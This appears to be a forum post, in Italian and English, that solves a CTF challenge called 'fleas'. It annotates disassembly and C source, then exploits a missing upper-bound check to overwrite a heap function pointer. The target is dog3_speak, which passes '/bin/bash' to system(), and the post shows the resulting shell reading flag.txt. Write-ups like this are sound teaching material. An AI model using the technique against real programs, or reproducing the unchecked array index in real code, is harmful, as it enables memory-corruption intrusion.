0x080494aa add esp, 0x10
0x080494ad sub esp, 8
0x080494b0 push 0x1c ;28 ;size_t size
;qui alloca 28 byte, ma come faccio a capire che è una struttura?
0x080494b2 push 1 ;1 ;size_t nmeb
0x080494b4 call sym.imp.calloc ;void *calloc(size_t nmeb, size_t size)
;calloc da 28bytes tutti a zero che vengono puntati da var_dch
0x080494b9 add esp, 0x10
0x080494bc mov dword [var_dch], eax
0x080494c2 mov eax, dword [var_dch]
0x080494c8 lea edx, [ebx - 0x2c19]
0x080494ce mov dword [eax + 4], edx
;è una struttura e esiste un secondo elemento "almeno" puntato da var_dch+4 ;in questo elemento ci va a finire, si scoprirà successivamente, l'indirizzo di una funzione
0x080494d1 sub esp, 0xc
0x080494d4 lea eax, [ebx - 0x1f06]
0x080494da push eax ; const char *s
0x080494db call sym.imp.puts ; int puts(const char *s)
typedef struct Dog Dog;
typedef void speak_func(Dog*);
struct Dog {
char* name;
speak_func* speak;
int fleas[DOG_NUMPARTS];
};
;è allocata nell'heap memoria per due strutture di tipo dog, che sono contigue; ogni struttura è di 28 bytes, 4 byte per l'indirizzo del nome del cane, 4 byte per l'indirizzo della funzione di speak, e 5*4 bytes per l'array di interi.
Dog* dog1 = calloc(1, sizeof(*dog1));
dog1->speak = &dog1_speak;
printf("What's your first dog's name?\n");
read_line(name1, sizeof(name1));
dog1->name = name1;
say("Okay! Your first dog's name is %s!\n", dog1->name);
Dog* dog2 = calloc(1, sizeof(*dog2));
dog2->speak = &dog2_speak;
printf("What's your second dog's name?\n");
read_line(name2, sizeof(name2));
dog2->name = name2;
0x08049624 add esp, 0x10
0x08049627 sub esp, 8
0x0804962a lea eax, [var_e4h]
0x08049630 push eax
0x08049631 lea eax, [ebx - 0x1dfc]
0x08049637 push eax ; const char *format
0x08049638 call sym.imp.__isoc99_scanf ; int scanf(const char *format)
;fa la scanf di qualcosa
;e mette il valore in var_e4h
;La funzione scanf() restituisce il numero di campi che sono stati convertiti e assegnati correttamente.
0x0804963d 83c410 add esp, 0x10
0x08049640 83f801 cmp eax, 1 ; 1
;se il valore di ritorno non è uguale a 1 esce.
0x08049643 741c je 0x8049661
0x08049645 sub esp, 0xc
0x08049648 lea eax, [ebx - 0x1df9]
0x0804964e push eax ; const char *s
0x0804964f call sym.imp.puts ; int puts(const char *s)
0x08049654 add esp, 0x10
0x08049657 sub esp, 0xc
0x0804965a push 1 ; 1 ; int status
0x0804965c call sym.imp.exit ; void exit(int status)
0x08049661 mov eax, dword [var_e4h]
0x08049667 test eax, eax
;esce se è uguale a 0 o inferiore; il problema è qui perchè non viene fatto il controllo sul massimale.
0x08049669 7f23 jg 0x804968e
if(flea_location < DOG_HEAD) {
printf("Invalid choice: %d\n", flea_location);
exit(EXIT_FAILURE);
}
;posso inserire una flea_location maggiore di 5 e andare a sovrascrivere celle di memoria successive che appartengono alla seconda struttura dog allocata nello heap[/color]
printf("How many fleas does %s have there?\n", dog1->name);
int flea_count;
if(scanf("%d", &flea_count) != 1) {
printf("Error reading flea count!\n");
exit(EXIT_FAILURE);
}
dog1->fleas[flea_location-1] = flea_count
;lo faccio precisamente in questo punto dell'eseguibile
;il problema è proprio qui: if(flea_location < DOG_HEAD); c'è il controllo sul limite inferiore, ma non il controllo sul limite superiore; a quel punto flea_count lo puoi andare a scrivere dove ti pare e infatti lo andiamo a scrivere a (8-1)*4 byte di distanza, dove risiede l'indirizzo della seconda funzione speak che verrà chiamata successivamente; noi andrema a scrivere in quei 4 bytes il valore intero 134517777 che è l'indirizzo della dog3_speak in decimale (0x08049411), ma prima setteremo il nome del secondo cane a /bin/bash in modo che la system di dog3_speak eseguirà la nostra shell; a quel punto basta fare il cat del file flag.txt per ottenere la flag della ctf.
$ objdump -D -M intel fleas | grep dog3
08049411 <dog3_speak>
Python 2.7.16
>>> 0x08049411
134517777
void dog3_speak(Dog* dog) {
say("%s says:\n", dog->name);
system(dog->name);
exit(EXIT_SUCCESS);
}
Where are /bin/bash's fleas?
***************
*One day later*
***************
*ring ring*
Hey Bob, it's Alice. I just wanted to give you a call to let you know that all 134517777 of /bin/bash's fleas have been killed.
Also, your dogs are looking forward to seeing you again soon!
See?
/bin/bash says Woof! /bin/bash is a good boy.
/bin/bash says:
ls
flag.txt
fleas
cat flag.txt
Edited by Dr. Pepper - 8/12/2023, 22:12